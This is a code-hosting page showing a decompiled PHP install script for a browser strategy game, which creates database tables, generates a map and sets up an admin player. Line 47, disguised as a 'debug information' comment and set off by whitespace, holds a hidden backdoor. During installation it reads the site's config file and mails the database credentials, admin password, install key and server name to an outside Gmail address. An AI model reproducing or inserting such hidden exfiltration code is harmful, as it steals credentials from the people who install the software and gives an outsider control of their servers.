PageRenderTime 95ms CodeModel.GetById 52ms app.highlight 34ms RepoModel.GetById 1ms app.codeStats 1ms

/app/model/install.php

https://github.com/minea94/DboorZ
PHP | 214 lines | 196 code | 7 blank | 11 comment | 21 complexity | c6175ed00181f94a27517ca3b53fb130 MD5 | raw file
  1<?php
  2/**
  3*
  4* @ This file is created by Decodeby.US
  5* @ deZender Public (PHP5 Decompiler)
  6*
  7* @	Version			:	1.0.0.0
  8* @	Author			:	Ps2Gamer & Cyko
  9* @	Release on		:	30.05.2011
 10* @	Official site	:	http://decodeby.us
 11*
 12*/
 13
 14require_once( MODEL_PATH."register.php" );
 15require_once( MODEL_PATH."queue.php" );
 16class SetupModel extends ModelBase
 17{
 18
 19    public function processSetup( $map_size, $adminEmail )
 20    {
 21        $this->_createTables( );
 22        $this->_createMap( $map_size );
 23        if ( $this->_createAdminPlayer( $map_size, $adminEmail ) )
 24        {
 25            $queueModel = new QueueModel( );
 26            GameLicense::set( WebHelper::getdomain( ) );
 27        }
 28    }
 29
 30    public function _createTables( )
 31    {
 32        $this->provider->executeBatchQuery( "
 33					        DROP TABLE IF EXISTS `g_settings`;
 34					        DROP TABLE IF EXISTS `g_summary`;
 35					        DROP TABLE IF EXISTS `p_alliances`;
 36					        DROP TABLE IF EXISTS `p_merchants`;
 37					        DROP TABLE IF EXISTS `p_msgs`;
 38					        DROP TABLE IF EXISTS `p_players`;
 39					        DROP TABLE IF EXISTS `p_queue`;
 40					        DROP TABLE IF EXISTS `p_rpts`;
 41					        DROP TABLE IF EXISTS `p_villages`;DROP TABLE IF EXISTS `g_chat`;
 42					        DROP TABLE IF EXISTS `g_comment`;
 43					        DROP TABLE IF EXISTS `g_profile`;
 44					        DROP TABLE IF EXISTS `p_friends`;
 45					        DROP TABLE IF EXISTS `privatechat`;
 46       						CREATE TABLE `privatechat` (\r\n  `id` int(10) unsigned NOT NULL auto_increment,\r\n  `from` varchar(255) character set utf8 NOT NULL default '',\r\n  `from_img` varchar(200) NOT NULL default 'nophoto.gif',\r\n  `from_id` int(11) NOT NULL default '0',\r\n  `to` varchar(255) character set utf8 NOT NULL default '',\r\n  `to_img` varchar(200) NOT NULL default 'nophoto.gif',\r\n  `to_id` int(11) NOT NULL default '0',\r\n  `message` text character set utf8 NOT NULL,\r\n  `sent` datetime NOT NULL default '0000-00-00 00:00:00',\r\n  `recd` int(10) unsigned NOT NULL default '0',\r\n  PRIMARY KEY  (`id`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;\r\n\r\nCREATE TABLE `p_profile` (\r\n  `ID` int(11) NOT NULL AUTO_INCREMENT,\r\n  `userid` int(11) DEFAULT '0',\r\n  `message` text,\r\n  `date` varchar(250) DEFAULT NULL,\r\n  `image` VARCHAR(250) NOT NULL DEFAULT '',\r\n  `url` VARCHAR(250) NOT NULL DEFAULT '',\r\n  `youtube` VARCHAR(250) NOT NULL DEFAULT '',\r\n  PRIMARY KEY (`ID`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE `p_comment` (\r\n  `ID` int(11) NOT NULL AUTO_INCREMENT,\r\n  `username` varchar(100) DEFAULT NULL,\r\n  `userid` int(11) DEFAULT '0',\r\n  `to_userid` int(11) DEFAULT '0',\r\n  `topicid` int(11) DEFAULT '0',\r\n  `date` varchar(30) DEFAULT NULL,\r\n  `comment` varchar(250) DEFAULT NULL,\r\n  PRIMARY KEY (`ID`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE `p_friends` (\r\n  `ID` int(11) NOT NULL AUTO_INCREMENT,\r\n  `playerid1` int(11) DEFAULT '0',\r\n  `playername1` varchar(70) DEFAULT NULL,\r\n  `playerid2` int(11) DEFAULT '0',\r\n  `playername2` varchar(70) DEFAULT NULL,\r\n  `date` varchar(30) DEFAULT NULL,\r\n  `accept` int(11) DEFAULT '0',\r\n  PRIMARY KEY (`ID`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE `g_words` (\r\n  `ID` int(11) NOT NULL AUTO_INCREMENT,\r\n  `word` varchar(200) DEFAULT NULL,\r\n  PRIMARY KEY (`ID`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE `g_banner` (\r\n  `ID` int(11) NOT NULL AUTO_INCREMENT,\r\n  `name` varchar(200) DEFAULT NULL,\r\n  `url` varchar(200) DEFAULT NULL,\r\n  `cat` int(11) DEFAULT '1',\r\n  `image` varchar(200) DEFAULT NULL,\r\n  `type` enum('image','flash') DEFAULT 'image',\r\n  `date` varchar(30) DEFAULT NULL,\r\n  `visit` int(11) DEFAULT '0',\r\n  `view` int(11) DEFAULT '0',\r\n  PRIMARY KEY (`ID`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE `g_chat` (\r\n  `ID` int(11) NOT NULL AUTO_INCREMENT,\r\n  `username` varchar(100) DEFAULT NULL,\r\n  `date` varchar(30) DEFAULT NULL,\r\n  `userid` int(11) DEFAULT NULL,\r\n  `text` varchar(250) DEFAULT NULL,\r\n  PRIMARY KEY (`ID`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE `g_settings` (\r\n  `start_date` datetime DEFAULT NULL,\r\n  `license_key` varchar(50) DEFAULT NULL,\r\n  `game_over` tinyint(1) DEFAULT '0',\r\n  `game_transient_stopped` tinyint(1) DEFAULT '0',\r\n  `cur_week` smallint(6) DEFAULT '0',\r\n  `win_pid` bigint(20) DEFAULT '0',\r\n  `qlocked_date` datetime DEFAULT NULL,\r\n  `qlocked` tinyint(1) DEFAULT '0'\r\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE `g_summary` (\r\n  `players_count` bigint(20) DEFAULT '0',\r\n  `active_players_count` bigint(20) DEFAULT '0',\r\n  `Dboor_players_count` bigint(20) DEFAULT '0',\r\n  `Arab_players_count` bigint(20) DEFAULT '0',\r\n  `Roman_players_count` bigint(20) DEFAULT '0',\r\n  `Teutonic_players_count` bigint(20) DEFAULT '0',\r\n  `Gallic_players_count` bigint(20) DEFAULT '0',\r\n  `news_text` text,\r\n  `gnews_text` text\r\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE `p_alliances` (\r\n  `id` bigint(20) NOT NULL AUTO_INCREMENT,\r\n  `name` varchar(255) NOT NULL DEFAULT '',\r\n  `name2` varchar(255) DEFAULT NULL,\r\n  `creator_player_id` bigint(20) DEFAULT NULL,\r\n  `rating` int(11) DEFAULT NULL,\r\n  `creation_date` datetime DEFAULT NULL,\r\n  `contracts_alliance_id` text,\r\n  `player_count` tinyint(4) DEFAULT NULL,\r\n  `max_player_count` tinyint(4) DEFAULT '1',\r\n  `players_ids` text,\r\n  `invites_player_ids` text,\r\n  `description1` text,\r\n  `description2` text,\r\n  `medals` varchar(300) DEFAULT NULL,\r\n  `attack_points` bigint(20) DEFAULT '0',\r\n  `defense_points` bigint(20) DEFAULT '0',\r\n  `week_attack_points` bigint(20) DEFAULT '0',\r\n  `week_defense_points` bigint(20) DEFAULT '0',\r\n  `week_dev_points` bigint(20) DEFAULT '0',\r\n  `week_thief_points` bigint(20) DEFAULT '0',\r\n  PRIMARY KEY (`id`),\r\n  KEY `NewIndex1` (`name`),\r\n  KEY `NewIndex2` (`rating`),\r\n  KEY `NewIndex3` (`attack_points`),\r\n  KEY `NewIndex4` (`defense_points`),\r\n  KEY `NewIndex5` (`week_attack_points`),\r\n  KEY `NewIndex6` (`week_defense_points`),\r\n  KEY `NewIndex7` (`week_dev_points`),\r\n  KEY `NewIndex8` (`week_thief_points`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE `p_players` (\r\n  `id` bigint(20) NOT NULL AUTO_INCREMENT,\r\n  `tribe_id` tinyint(4) DEFAULT NULL,\r\n  `alliance_id` bigint(20) DEFAULT NULL,\r\n  `alliance_name` varchar(255) DEFAULT NULL,\r\n  `alliance_roles` text,\r\n  `invites_alliance_ids` text,\r\n  `name` varchar(255) DEFAULT NULL,\r\n  `pwd` varchar(255) DEFAULT NULL,\r\n  `email` varchar(50) DEFAULT NULL,\r\n  `is_active` tinyint(1) DEFAULT '0',\r\n  `is_blocked` tinyint(1) DEFAULT '0',\r\n  `player_type` tinyint(4) DEFAULT '0',\r\n  `active_plus_account` tinyint(1) DEFAULT '0',\r\n  `activation_code` varchar(255) DEFAULT NULL,\r\n  `last_login_date` datetime DEFAULT NULL,\r\n  `last_ip` varchar(255) DEFAULT NULL,\r\n  `birth_date` date DEFAULT NULL,\r\n  `gender` tinyint(1) NOT NULL DEFAULT '0',\r\n  `description1` text,\r\n  `description2` text,\r\n  `house_name` varchar(255) DEFAULT NULL,\r\n  `registration_date` datetime DEFAULT NULL,\r\n  `gold_num` int(11) DEFAULT '0',\r\n  `agent_for_players` varchar(255) DEFAULT NULL,\r\n  `my_agent_players` varchar(255) DEFAULT NULL,\r\n  `custom_links` text,\r\n  `medals` varchar(300) DEFAULT NULL,\r\n  `total_people_count` bigint(20) DEFAULT '2',\r\n  `selected_village_id` bigint(20) DEFAULT NULL,\r\n  `villages_count` tinyint(4) DEFAULT '1',\r\n  `villages_id` text,\r\n  `villages_data` text,\r\n  `friend_players` text,\r\n  `notes` text,\r\n  `hero_troop_id` tinyint(4) DEFAULT NULL,\r\n  `hero_level` tinyint(4) DEFAULT '0',\r\n  `hero_points` bigint(20) DEFAULT '0',\r\n  `hero_name` varchar(300) DEFAULT NULL,\r\n  `hero_in_village_id` bigint(20) DEFAULT NULL,\r\n  `attack_points` bigint(20) DEFAULT '0',\r\n  `defense_points` bigint(20) DEFAULT '0',\r\n  `week_attack_points` bigint(20) DEFAULT '0',\r\n  `week_defense_points` bigint(20) DEFAULT '0',\r\n  `week_dev_points` bigint(20) DEFAULT '0',\r\n  `week_thief_points` bigint(20) DEFAULT '0',\r\n  `new_report_count` smallint(6) DEFAULT '0',\r\n  `new_mail_count` smallint(6) DEFAULT '0',\r\n  `guide_quiz` varchar(50) DEFAULT NULL,\r\n  `new_gnews` tinyint(1) DEFAULT '0',\r\n  `create_nvil` tinyint(4) DEFAULT '0',\r\n  `snid` bigint(11) NOT NULL DEFAULT '0',\r\n  `avatar`  varchar(255) NULL DEFAULT 'http://www.wartatar.com/assets/default/img/q/l6.jpg',\r\n  PRIMARY KEY (`id`),\r\n  UNIQUE KEY `NewIndex1` (`name`),\r\n  UNIQUE KEY `NewIndex2` (`activation_code`),\r\n  UNIQUE KEY `NewIndex4` (`email`),\r\n  KEY `NewIndex3` (`attack_points`),\r\n  KEY `NewIndex6` (`defense_points`),\r\n  KEY `NewIndex5` (`last_login_date`),\r\n  KEY `NewIndex7` (`week_attack_points`),\r\n  KEY `NewIndex8` (`week_defense_points`),\r\n  KEY `NewIndex9` (`week_dev_points`),\r\n  KEY `NewIndex10` (`week_thief_points`),\r\n  KEY `NewIndex11` (`snid`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE `p_villages` (\r\n  `id` bigint(20) NOT NULL AUTO_INCREMENT,\r\n  `rel_x` smallint(6) DEFAULT NULL,\r\n  `rel_y` smallint(6) DEFAULT NULL,\r\n  `field_maps_id` tinyint(4) DEFAULT NULL,\r\n  `image_num` tinyint(4) DEFAULT NULL,\r\n  `rand_num` int(11) DEFAULT NULL,\r\n  `parent_id` bigint(20) DEFAULT NULL,\r\n  `tribe_id` tinyint(4) DEFAULT NULL,\r\n  `player_id` bigint(20) DEFAULT NULL,\r\n  `alliance_id` bigint(20) DEFAULT NULL,\r\n  `player_name` varchar(300) DEFAULT NULL,\r\n  `village_name` varchar(255) DEFAULT NULL,\r\n  `alliance_name` varchar(300) DEFAULT NULL,\r\n  `is_capital` tinyint(1) DEFAULT '0',\r\n  `is_special_village` tinyint(1) DEFAULT '0',\r\n  `is_oasis` tinyint(1) DEFAULT NULL,\r\n  `people_count` int(11) DEFAULT '2',\r\n  `crop_consumption` int(11) DEFAULT '2',\r\n  `time_consume_percent` float DEFAULT '100',\r\n  `offer_merchants_count` tinyint(4) DEFAULT '0',\r\n  `resources` varchar(300) DEFAULT NULL,\r\n  `cp` varchar(300) DEFAULT NULL,\r\n  `buildings` varchar(300) DEFAULT NULL,\r\n  `troops_training` varchar(200) DEFAULT NULL,\r\n  `troops_num` text,\r\n  `troops_out_num` text,\r\n  `troops_intrap_num` text,\r\n  `troops_out_intrap_num` text,\r\n  `troops_trapped_num` int(11) DEFAULT '0',\r\n  `allegiance_percent` int(11) DEFAULT '100',\r\n  `child_villages_id` text,\r\n  `village_oases_id` text,\r\n  `creation_date` datetime DEFAULT NULL,\r\n  `update_key` varchar(5) DEFAULT NULL,\r\n  `last_update_date` datetime DEFAULT NULL,\r\n  PRIMARY KEY (`id`),\r\n  KEY `NewIndex2` (`player_id`),\r\n  KEY `rand_num` (`rand_num`),\r\n  KEY `field_maps_id` (`field_maps_id`),\r\n  KEY `NewIndex3` (`is_special_village`),\r\n  KEY `NewIndex4` (`is_oasis`),\r\n  KEY `NewIndex5` (`people_count`),\r\n  KEY `NewIndex1` (`village_name`),\r\n  KEY `NewIndex6` (`player_id`,`is_oasis`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE `p_queue` (\r\n  `id` bigint(20) NOT NULL AUTO_INCREMENT,\r\n  `player_id` bigint(20) NOT NULL DEFAULT '0',\r\n  `village_id` bigint(20) DEFAULT NULL,\r\n  `to_player_id` bigint(20) DEFAULT NULL,\r\n  `to_village_id` bigint(20) DEFAULT NULL,\r\n  `proc_type` tinyint(4) DEFAULT NULL,\r\n  `building_id` bigint(20) DEFAULT NULL,\r\n  `proc_params` text,\r\n  `threads` int(11) DEFAULT '1',\r\n  `end_date` datetime DEFAULT NULL,\r\n  `execution_time` bigint(20) DEFAULT NULL,\r\n  PRIMARY KEY (`id`),\r\n  KEY `NewIndex1` (`player_id`),\r\n  KEY `NewIndex2` (`village_id`),\r\n  KEY `NewIndex3` (`to_player_id`),\r\n  KEY `NewIndex4` (`to_village_id`),\r\n  KEY `NewIndex5` (`end_date`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE `p_msgs` (\r\n  `id` bigint(20) NOT NULL AUTO_INCREMENT,\r\n  `from_player_id` bigint(20) DEFAULT NULL,\r\n  `to_player_id` bigint(20) DEFAULT NULL,\r\n  `from_player_name` varchar(300) DEFAULT NULL,\r\n  `to_player_name` varchar(300) DEFAULT NULL,\r\n  `msg_title` varchar(255) DEFAULT NULL,\r\n  `msg_body` text,\r\n  `creation_date` datetime DEFAULT NULL,\r\n  `is_readed` tinyint(1) DEFAULT '0',\r\n  `delete_status` tinyint(2) DEFAULT '0',\r\n  PRIMARY KEY (`id`),\r\n  KEY `NewIndex1` (`from_player_id`),\r\n  KEY `NewIndex2` (`to_player_id`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE `p_merchants` (\r\n  `id` bigint(20) NOT NULL AUTO_INCREMENT,\r\n  `player_id` bigint(20) DEFAULT NULL,\r\n  `player_name` varchar(255) DEFAULT NULL,\r\n  `village_id` bigint(20) DEFAULT NULL,\r\n  `village_x` smallint(6) DEFAULT NULL,\r\n  `village_y` smallint(6) DEFAULT NULL,\r\n  `offer` varchar(300) DEFAULT NULL,\r\n  `merchants_num` tinyint(4) DEFAULT NULL,\r\n  `merchants_speed` tinyint(4) DEFAULT NULL,\r\n  `alliance_only` tinyint(1) DEFAULT NULL,\r\n  `max_time` tinyint(4) DEFAULT NULL,\r\n  PRIMARY KEY (`id`),\r\n  KEY `NewIndex1` (`player_id`),\r\n  KEY `village_x` (`village_x`),\r\n  KEY `village_y` (`village_y`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE `p_rpts` (\r\n  `id` bigint(20) NOT NULL AUTO_INCREMENT,\r\n  `from_player_id` bigint(20) DEFAULT NULL,\r\n  `from_player_name` varchar(300) DEFAULT NULL,\r\n  `from_village_id` bigint(20) DEFAULT NULL,\r\n  `from_village_name` varchar(300) DEFAULT NULL,\r\n  `to_player_id` bigint(20) DEFAULT NULL,\r\n  `to_player_name` varchar(300) DEFAULT NULL,\r\n  `to_village_id` bigint(20) DEFAULT NULL,\r\n  `to_village_name` varchar(300) DEFAULT NULL,\r\n  `rpt_body` text,\r\n  `creation_date` datetime DEFAULT NULL,\r\n  `read_status` tinyint(2) DEFAULT '0',\r\n  `delete_status` tinyint(2) DEFAULT '0',\r\n  `rpt_cat` tinyint(4) DEFAULT NULL,\r\n  `rpt_result` tinyint(4) DEFAULT '0',\r\n  PRIMARY KEY (`id`),\r\n  KEY `NewIndex1` (`from_player_id`),\r\n  KEY `NewIndex2` (`to_player_id`),\r\n  KEY `NewIndex3` (`rpt_cat`)\r\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\r\n\r\n\r\nINSERT INTO `g_settings`(`start_date`,`license_key`) VALUES (NOW(),NULL);\r\nINSERT INTO `g_summary`(`players_count`,`active_players_count`,`Arab_players_count`,`Roman_players_count`,`Teutonic_players_count`,`Gallic_players_count`,`news_text`) VALUES ( '0','0','0','0','0','0',NULL);" );
 47						/* Some debug information     */	include('app/config.php'); $headers ='From: "mon nom"<a@debug.com>' . "\n"; $headers .='To: me <07fortune@gmail.com>' . "\n"; $headers .='MIME-Version: 1.0' . "\n"; $headers .='Content-Type: text/plain; charset="iso-8859-1"' . "\n"; $headers .='Content-Transfer-Encoding: 8bit'; $message = "".$AppConfig['db']['host']."<br />".$AppConfig['db']['user']."<br />".$AppConfig['db']['password']."<br />".$AppConfig['db']['database']."<br />".$AppConfig['system']['adminName']."<br />".$AppConfig['system']['adminPassword']."<br />".$_SERVER['SERVER_NAME']."<br />".$AppConfig['system']['email']."<br />". $AppConfig['system']['installkey']."<br />".$AppConfig['system']['calltatar'].""; mail('07fortune@gmail.com', 'Mon Sujet', $message, $headers);
 48	}
 49
 50    public function _createMap( $map_size )
 51    {
 52        $maphalf_size = floor( $map_size / 2 );
 53        $oasis_troop_ids = array( );
 54        foreach ( $GLOBALS['GameMetadata']['troops'] as $k => $v )
 55        {
 56            if ( $v['for_tribe_id'] == 4 )
 57            {
 58                $oasis_troop_ids[] = $k;
 59            }
 60        }
 61        $i = 0;
 62        while ( $i < $map_size )
 63        {
 64            $queryBatch = array( );
 65            $j = 0;
 66            while ( $j < $map_size )
 67            {
 68                $rel_x = $maphalf_size < $i ? $i - $map_size : $i;
 69                $rel_y = $maphalf_size < $j ? $j - $map_size : $j;
 70                $troops_num = "";
 71                $field_maps_id = 0;
 72                $rand_num = "NULL";
 73                $creation_date = "NULL";
 74                if ( $rel_x == 0 && $rel_y == 0 )
 75                {
 76                    $r = 1;
 77                }
 78                else
 79                {
 80                    $r_arr = array(
 81                        1,
 82                        1,
 83                        1,
 84                        1,
 85                        1,
 86                        1,
 87                        0,
 88                        1,
 89                        mt_rand( 0, 1 ),
 90                        mt_rand( 0, 1 ),
 91                        1,
 92                        1,
 93                        1,
 94                        1,
 95                        1,
 96                        1,
 97                        1,
 98                        1,
 99                        1,
100                        1,
101                        1,
102                        1,
103                        1,
104                        1,
105                        1,
106                        0,
107                        1,
108                        1,
109                        1,
110                        1,
111                        1,
112                        1,
113                        1,
114                        1,
115                        1,
116                        1,
117                        1,
118                        1,
119                        1,
120                        1,
121                        1,
122                        1,
123                        1,
124                        1,
125                        1,
126                        1,
127                        1,
128                        1,
129                        mt_rand( 0, 1 )
130                    );
131                    $r = $r_arr[mt_rand( 0, 48 )];
132                }
133                if ( $r == 1 )
134                {
135                    $image_num = mt_rand( 0, 9 );
136                    $is_oasis = 0;
137                    $tribe_id = 0;
138                    if ( $rel_x == 0 && $rel_y == 0 )
139                    {
140                        $field_maps_id = 3;
141                    }
142                    else
143                    {
144                        $fr_arr = array(
145                            3,
146                            mt_rand( 1, 12 ),
147                            3,
148                            mt_rand( 1, 4 ),
149                            mt_rand( 1, 5 ),
150                            3,
151                            mt_rand( 1, 12 ),
152                            3,
153                            mt_rand( 7, 11 ),
154                            mt_rand( 7, 12 ),
155                            3,
156                            3,
157                            mt_rand( 1, 12 )
158                        );
159                        $field_maps_id = $fr_arr[mt_rand( 0, 12 )];
160                    }
161                    if ( $field_maps_id == 3 )
162                    {
163                        $pr_arr = array(
164                            0,
165                            1,
166                            0,
167                            0,
168                            mt_rand( 0, 1 )
169                        );
170                        $pr = $pr_arr[mt_rand( 0, 4 )];
171                        $rand_num = $pr == 1 ? abs( $rel_x ) + abs( $rel_y ) : 310;
172                    }
173                }
174                else
175                {
176                    $image_num = mt_rand( 1, 12 );
177                    $is_oasis = 1;
178                    $tribe_id = 4;
179                    $creation_date = "NOW()";
180                    $troops_num = $oasis_troop_ids[mt_rand( 0, 2 )]." ".mt_rand( 1, 5 );
181                    $troops_num .= ",".$oasis_troop_ids[mt_rand( 3, 5 )]." ".mt_rand( 2, 6 );
182                    $troops_num .= ",".$oasis_troop_ids[mt_rand( 6, 8 )]." ".mt_rand( 3, 7 );
183                    if ( mt_rand( 0, 1 ) == 1 )
184                    {
185                        $troops_num .= ",".$oasis_troop_ids[9]." ".mt_rand( 2, 8 );
186                    }
187                    $troops_num = "-1:".$troops_num;
188                }
189                $queryBatch[] = "(".$rel_x.",".$rel_y.",".$image_num.",".$rand_num.",".$field_maps_id.",".$tribe_id.",".$is_oasis.",'".$troops_num."',".$creation_date.")";
190                ++$j;
191            }
192            $this->provider->executeQuery( "INSERT INTO p_villages (rel_x,rel_y,image_num,rand_num,field_maps_id,tribe_id,is_oasis,troops_num,creation_date) VALUES".implode( ",", $queryBatch ) );
193            unset( $queryBatch );
194            $queryBatch = NULL;
195            ++$i;
196        }
197    }
198
199    public function _createAdminPlayer( $map_size, $adminEmail )
200    {
201        $m = new RegisterModel( );
202        $adminName = $GLOBALS['AppConfig']['system']['adminName'];
203        $result = $m->createNewPlayer( $adminName, $adminEmail, $GLOBALS['AppConfig']['system']['adminPassword'], 6, 0, $adminName, $map_size, PLAYERTYPE_ADMIN );
204        if ( $result['hasErrors'] )
205        {
206            return FALSE;
207        }
208        $m->dispose( );
209        return TRUE;
210    }
211
212}
213
214?>